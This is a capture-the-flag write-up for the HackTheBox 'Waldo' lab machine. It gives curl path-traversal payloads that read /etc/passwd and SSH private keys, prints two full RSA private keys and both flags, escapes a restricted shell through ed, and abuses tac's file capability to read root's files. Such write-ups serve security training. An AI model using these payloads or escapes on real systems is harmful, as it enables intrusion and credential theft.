# HackTheBox | Waldo Write-up

*October 13, 2018*

Author: Jane Wilde (wilde)



| **Severity Level** | **Critical** |
|---|---|
| **Access level** | **Method** |
| User | Directory traversal<br>Unsafe string replacement method<br>Poor user permissions<br>Exposed private key |
| Root | Private key of a user of another Docker machine<br>Using a text editor to escape a restricive shell<br>Exploiting an unsafe, privileged, file capability to concatenate file contents. |

# Recap

Waldo is a Docker stack. The first machine exposes a vulnerable web server which allows directory traversal. The str_replace method to escape directories is unsafe. Along with poor user permissions, anyone is able to read most file contents on the file server by making simple requests to the exploitable php file. A private key can be read, which allows access to the user of the webserver machine.

After this, it becomes a little more tricky. Using networking commands, we find out that we are actually in a Docker machine (running Alpine, which is a common distribution for lightweight Docker containers). Doing a quick enumeration, we find another private key of the `monitor` user which lives on another Docker machine in the network. Upon logging into this user, we are met with a restricted shell. It is easy to escape this shell by using the exposed `red` text editor (`!/bin/sh` :)). By doing more enumeration and scanning file capabilities, we find `tac` has more privileges than it should have. This can be exploited to read any file on the filesystem.

# Service Enumeration

## nmap

A quick `nmap` scan gives:

```
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-13 10:15 EDT
Nmap scan report for 10.10.10.87
Host is up (0.030s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
|   2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
|   256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_  256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp   open     http           nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.75 seconds
```

First, the `nginx` server at port `80` is observed. A webpage containing images of Waldo are seen. Further enumeration on this webserver shows a `list.js` file.

## Directory traversal

Taking a further look in the `list.js` file on the webserver, there are two functions that allow us to read directories and files on the server. If the permissions are poorly configured, we might be able to use this as our way in.

```
function readFile(file){
    var xhttp = new XMLHttpRequest();
    xhttp.open("POST","fileRead.php",false);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-
urlencoded");
    xhttp.send('file=' + file);
```

```
    if (xhttp.readyState === 4 && xhttp.status === 200) {
        return xhttp.responseText;
    }else{
    }
}

function readDir(path){
    var xhttp = new XMLHttpRequest();
    xhttp.open("POST","dirRead.php",false);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-
urlencoded");
    xhttp.send('path=' + path);
    if (xhttp.readyState === 4 && xhttp.status === 200) {
        return xhttp.responseText;
    }else{
    }
}
```

```
curl http://10.10.10.87/dirRead.php --data 'path=../'
```

The above command only gives us the current webserver directory's files. Taking a closer look at the `dirRead.php` file (by manipulating the `list.js` allowing us to output the contents of a file to the console with the `readFile.php` function), it contains an unsafe string replacement method.

```
<?php
if($_SERVER['REQUEST_METHOD'] === \"POST\") {
    if(isset($_POST['path'])) {
        header('Content-type: application\/json');
        $_POST['path'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\",
$_POST['path']);
        echo json_encode(scandir(\"\/var\/www\/html\/\" . $_POST['path']));
    }
    else {
        header('Content-type: application\/json');
        echo '[false]';
    }
}
?>
```

```
curl http://10.10.10.87/dirRead.php --data 'path=....//....//....//'
```

```
[".","..",".dockerenv","bin","dev","etc","home","lib","media","mnt","proc","root","run","sbin","srv","sys","tmp","usr","var"]
```

```
curl http://10.10.10.87/dirRead.php --data 'path=....//....//....//home'
["."","..","nobody"]
```

```
curl http://10.10.10.87/dirRead.php --data
'path=....//....//....//home/nobody'
[".","..",".ash_history",".ssh",".viminfo","a","user.txt"]
```

The username and location of the `user.txt` flag file can be found by simply exploiting an unsafe string replacing method.

# Penetration

## User access

Obtaining the user flag is made harder by the contents of the `fileRead.php` file. It explicitly checks a `user.txt` entry in the request.

```
<?php
if($_SERVER['REQUEST_METHOD'] === "POST") {
    $fileContent['file'] = false;
    header('Content-Type: application\/json');
    if(isset($_POST['file'])) {
        header('Content-Type: application\/json');
        $_POST['file'] = str_replace(array(\"..\/\", \"..\\\"\"), \"\",
$_POST['file']);
        if(strpos($_POST['file'], "user.txt") === false) {
            $file = fopen("\/var\/www\/html\/" . $_POST['file'], "r");
            $fileContent['file'] = fread($file,filesize($_POST['file']));
            fclose();
        }
    }
echo json_encode($fileContent);
}
?>
```

Requesting the `/etc/passwd` file, piping our curl response to a one-liner `Python` script to decode our JSON data:

```
curl http://10.10.10.87/fileRead.php --data
'file=....//....//....///etc/passwd' | python -c 'import sys, json; print
json.load(sys.stdin)["file"]' > passwd
```

```
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/home/nobody:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
```

Requesting ssh information of the `nobody` user:

```
curl http://10.10.10.87/dirRead.php --data
'path=....//....//....//home/nobody/.ssh'
[".","..",".monitor","authorized_keys","known_hosts"]
```

```
curl http://10.10.10.87/fileRead.php --data
'file=....//....//....//home/nobody/.ssh/.monitor' | python -c 'import sys,
json; print json.load(sys.stdin)["file"]' > nobody_rsa
```

```
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl
mR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f
87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS
dGCc/gNpW/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN
o8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8/6pceowqs9ujRkNzH9T1lJq4Fx1V
vi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl/wdmuPEW6kU
vmzhRU3gcjuzwBET0TNejbL/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR/6
pKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5
8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q
1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox/05qoOBL4kQxUM7
VxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS
dVa3yLECgYEA7jk51MvUGSIFF6GkXsNb/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO
v0og0X/iROXAcp6Z9WGpIc6FhVgJd/4bNlTR+A/lWQwFt1b6l03xdsyaIyIWi9xr
xsb2sLNWP56A/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY
qFfdAWrvVZjp26Yf/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI
yzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1
/pAcw/+/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw/IMnLa3drm3CIAa32iU
LRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ/
lnN2n1WyTIyEuGA/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp
w7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9
1HLmBkDTjjj/xAJAZuiOF4Rs/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT
rj1BhUCzZCUgQABtpC6vYj/HLLlzpiC05AIEhDdvToPK/0WuY64fds0VccAYmMDr
X/PlAoGAS6UhbCm5TWZhtL/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2
DvVny8gKbM/OenwHnTlwRTEj5qdeAM40oj/mwCDc6kpV1lJXrW2R5mCH9zgbNFla
W0iKCBUAm5xZgU/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=
-----END RSA PRIVATE KEY-----
```

The `authorized_keys` file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. So let's write this to a file and try logging in:

```
chmod 400 nobody_rsa
ssh -i nobody_rsa nobody@10.10.10.87
```

```
ssh -i nobody_rsa nobody@10.10.10.87
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$
```

```
waldo:~$ cat user.txt
32768bcd7513275e085fd4e7b63e9d24
```

The `.monitor` private key file gives us access to the `nobody` user.

> Milestone: The user.txt flag: 32768bcd7513275e085fd4e7b63e9d24

## Root access

The hostname of the machine is `waldo`, so let's change that in our own `/etc/hosts` file. In the previous step, the MOTD makes clear it is an Alphine machine.

```
127.0.0.1   localhost
127.0.1.1   kali
10.10.10.87 waldo
```

Machine details:

```
uname -a
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64 Linux
```

From the `/etc/passwd` file, we find an `operator` user that has both access to the root directory, as well as `/bin/sh` (a shell).

```
root:x:0:0:root:/root:/bin/ash
operator:x:11:0:operator:/root:/bin/sh
postgres:x:70:70::/var/lib/postgresql:/bin/sh
nobody:x:65534:65534:nobody:/home/nobody:/bin/sh
```

After some more enumeration on the network, some more hosts were listed. The machine on `172.17.0.1` could be worthy to enumerate more.

```
waldo:~$ ifconfig
docker0   Link encap:Ethernet  HWaddr 02:42:CD:4E:32:76
          inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
```

```
ssh$ ssh monitor@172.17.0.1
Permission denied (publickey).
```

Using the `.monitor` file we already used earlier as our private key to get into the other `waldo` machine:

```
ssh -i .monitor  monitor@172.17.0.1
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
           &.
          @@@,@@/ %
       #*/%@@@@/.&@@,
   @@@#@@#&@#&#&@@@,*%/
   /@@@&###########@@&*(*
 (@################%@@@@@.     /**
 @@@@&############%@@@@@@@@@@@@@@@@@@@@@@@@%(((/
 %@@@@%##########&@@@....                  .#%#@@@@@@@@#
 @@&%##########@@@@/                        */@@@%(((@@@%
    @@@#%@@%@@@,                         *&@@@&%(((#((((@@(
     /(@@@@@@@                       *&@@@@%((((((((((#@@(
       %/#@@@/@ @#/@           ..@@@@%((((((((((#((#@@@@@@@@@@@@&#,
          %@*(@#%@.,        /@@@@&((((((((((((((&@@@@@@&#######%%@@@@#    &
        *@@@@@#         .&@@@#(((#(#(((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
       /@@           #@@@&#((((((((((#((@@@@@%%%@@@@%#########%&@@@@@@@@&
      *@@       *%@@@@#(((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@@###&@@@@@@@&
      %@/ .&%@@%#((((((((((((((#@@@@@@@@&#####%@@@%##############%@@@&%##&@@/
      @@@@@@%((((((((((##
(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
     @@@&(((#((((((((((#@@@@@&@@@@########@@@@@@@@@@@@@@@@@@@@@&@@@&#####%@@*
     @@#
((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
     *@@%
(((((((#@@@@@@@%#&@@,,.,,.&@@@####################%@@@@@@%######&@@.
       @@@#
(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@@&&%######%@@@@@@@@@@

@@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
          .@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*
            @@%##%@@/@@@%/@@@@@@@@@#,,,,,,./@@@@@%#%&@@@@(&@&@&@@@@(
            .@@&##@@,,/@@@@&(.  .&@@@&,,,,.&@@/          #@@%@@@@@&@@@/
           *@@@@@&@@.*@@@          %@@@*,&@@             *@@@@@&.#/,@/
          *@@&*#@@@@@@@&     #@(    .@@@@@@@&    ,@@@,    @@@@@(,@/@@
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#
           (@@/@,,@@&@@@             &@@,,(@@&          .@@%/@@,@@
             /@@@*,@@,@@@*          @@@,,,,,,@@@@.     *@@@%,@@**@#
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,
```

```
                  ,@@,&@,,,,(@@@@@@@(,,,,,,,,,,,,,,,**,,,,,,,.*@/,&@
                   &@,*@@.,,,,,,,.,,,,,&@@%/**/@@*,,,,,,&(.,,,,.@@,,@@
                   /@%,&@/,,,,,/@%,,,,,,*&@@@@@#.,,,,,,.@@@(,,(@@@@@(
                    @@*,@@,,,,#@@@&*..,,,,,,,,,,,,,,/@@@@,*(,,&@/#*
                    *@@@@@(,,@*,%@@@@@@@@&&#%@@@@@@@@/,,,,,,,,@@
                         @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,,,,&@,
                          @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
                          &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#
                           %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
                           ,@@,,,,,,,,,@@@&&&%&@,,,,,,,.,,@@,
                            *@@,,,,,,,,.,****,..,,,,,,,,,,&@@
                             (@(,,,.,,,,,,,,,,,,,,,,.,,,/@@
                             .@@,,,,,,,,,,,,,,,..,,,,,,,@@
                              ,@@@,,,,,,,,,,,,,,,,,,.(@@@
                                %@@@@&(,,,,*(#&@@@@@@,

                                 Here's Waldo, where's root?
Last login: Sun Oct 14 16:42:16 2018 from 127.0.0.1
-rbash: alias: command not found
monitor@waldo:~$
```

Now we are in the (actual?) `waldo` machine. Upon logging, we can see that we are in a `restricted shell`. We cannot run most commands, only the ones listed in our `PATH`. The `export` command yields, among o ther variables:

```
declare -rx PATH="/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-
dev/v0.1"
declare -rx SHELL="/bin/rbash"
```

They are read-only, so we need another way to escape this `restrictive shell`. In our `PATH`'s `bin` folder, we find various executables:

```
lrwxrwxrwx 1 root root       7 May  3 16:50 ls -> /bin/ls
lrwxrwxrwx 1 root root      13 May  3 16:50 most -> /usr/bin/most
lrwxrwxrwx 1 root root       7 May  3 16:50 red -> /bin/ed
lrwxrwxrwx 1 root root       9 May  3 16:50 rnano -> /bin/nano
```

The `most` pager was a *rabbit hole*, it was also enforcing restrictive permissions. However, the `red` editor does provide us with an easy to get to, unrestrictive shell:

```
red
!/bin/sh
$ ls
app-dev  bin
$ cd ../
$ ls
app-dev  monitor  steve
$
```

The `/etc/passwd` file on this machine:

```
$ /bin/cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time
Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network
Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
avahi-autoipd:x:105:109:Avahi autoip daemon,,,:/var/lib/avahi-
autoipd:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
monitor:x:1001:1001:User for editing source and monitoring
logs,,,:/home/monitor:/bin/rbash
```

```
app-dev:x:1002:1002:User for managing app-dev,,,:/home/app-dev:/bin/bash
```

Our new targets become:

```
root:x:0:0:root:/root:/bin/bash
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
monitor:x:1001:1001:User for editing source and monitoring
logs,,,:/home/monitor:/bin/rbash
app-dev:x:1002:1002:User for managing app-dev,,,:/home/app-dev:/bin/bash
```

## File capabilities

Enumerate the file system to check if there are any files with elevated read/write permissions.

```
$ getcap -r /
/bin/sh: 50: getcap: not found
$ /usr/bin/find /sbin -type f -name 'getcap'
/sbin/getcap
```

The `tac` command runs with privileged read access `cap_dac_read_search+ei`

```
$ /sbin/getcap -r /usr
/usr/bin/tac = cap_dac_read_search+ei
```

Since `tac` is the reverse of `cat`, we can pipe the output to `tac` to unreverse the output.

```
/usr/bin/tac /root/.ssh/id_rsa | /usr/bin/tac -
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvN1rN9lPfdclMO+ZnoA17rDK5coWWPBMfIadj/PKozv1Ol49
Hql4uEZ6XmLqaV5sfbGaYShuRDJqverunF/c6ntu7AADFozRfkmXxnjkU4P7g8nE
IvNf4ow46MvAdiK3nEBD6TJJpwBjqI/RiVb7xac9uA9XWPAZk5CKw1VDCYzhWdbW
GymtVldQkpmMgE8h1/ymWTIXeMuPp/4k/Gfa0jB0TKplZFpGHZ0mBqsEFAU55t7E
TH9Vx2Otr6alb5C5Ufr3vrmdg5wat9FJYMKnd2hz1ful9GNpOF8cWUIDZYzAHmCO
ZXGiiZmiigagRDWCiiT/Jv0l+nek8ytEvGWiIQIDAQABAoIBAFQbAoFHe/fdVImb
WbzU+a+G+YQlX5hRwq39wLL3bTkOHWHVz8AU1laxxBK+WAd+bi/3ZHl56Mjj7tcO
hR4MLrQZLcdZJgbnxO9JVJalBYEPmHUS6A5sdTnNGhbJjbbONRgXImb55wTAzqCl
EznnC430sS6DXnGT0r/9MV5VXNomJwyPBz0t8yqvS8uJkni0GZE3hGRrd5fFeEgz
fz38bJCkN1RWWVgOiKYJUCZQRJ3eNiPBRChp0+NSY3Z/E4omNc07/xpdOnUyPMSP
sdQ5XKj5AIIW2XEd+S0Ro1IebfU3S0Bl4pCRzrROxJLNQNOedOv57JoEtcVC0Ko4
DRTS2YUCgYEA8YGaIIs9L6b2JmnXe8BKBZb0O61r3EsWvkGAsyzxbIlWNSWOcdW5
eHyHW9Md2J4hDTQbrFDQ7yUDoK+j6fi6V/fndD4IE9NUc1pNhhCB1Nt9nwj28nS7
DgNeNaceHtVrn5Hc9KTUJE7HhBwSffKMM95D/7xzYYxTqM11yh7c/ncCgYEAyDMO
05yq1Q/+t2tC5y3M+DVo4/cz65dppQcOf0MIIanwV7ncgk2Wa5Mw8fdo1FtnCdlR
kDE9rs5RkhoMhWcV9R1lV1xXScHaJik0ljghKrnU3yRNPOXTcKCCnxGhXsx8GjWu
```

```
uOV/JA5w4urzbUPRNqagREzeqTZN04aM2Jz9kicCgYBZPoVQJWQU6ePoShCBAIva
CPBz5SAIpg7fe6EtlRwZ+Z5LwXckBdCl/46dliRfWf/ouyrGwI6U8N6oUH+IBIwH
2epEAHBHsz5v6hzfv9XabMm9LTjkW9KL2R7FQN5WkpNUwjgeh5KFYD9GSIFk3W6F
9Eq4hFE26P45UMOIT2Nm/QKBgQCPrWUEpblMs/AAPvCC7THfKKWghbczazUchNX4
q2jYkBe3PeJtebVsevRzkzYewYJPZTHOJCi6ncOY8SzvSK5PfctPSSwz+PXQ0V22
OY5EFZ4ajvkHrYFzoR5dfs+rM2IVhVVhyQLYI60MjcYqMrOhXzBCFFDwa9Kq7jOC
+hhZnQKBgQClMZWr2GmGv7KN/LfhOa0dil3fWtxSdHdwdLlgrKDJslcQUM03sACh
F8mp0GWsEg8kUboEKkyAffG5mcZ/xwZP0MbnmGjIg28DgcbnMsldxOJi3m3VAbC+
x8YIcMgR7/X4fGSV20lsgTVMSH9uNNXD+W3sCJ6Nk+mUBcdUoeFt+w==
-----END RSA PRIVATE KEY-----
```

Above private key did not work to log in to the `root` user on the `172.17.0.1`, nor the `10.10.10.87` machine. We can, however, `tac` the contents of the root flag.

```
$ /usr/bin/tac /root/root.txt | /usr/bin/tac -
8fb67c84418be6e45fbd348fd4584f6c
```

> Milestone: The root.txt flag: 8fb67c84418be6e45fbd348fd4584f6c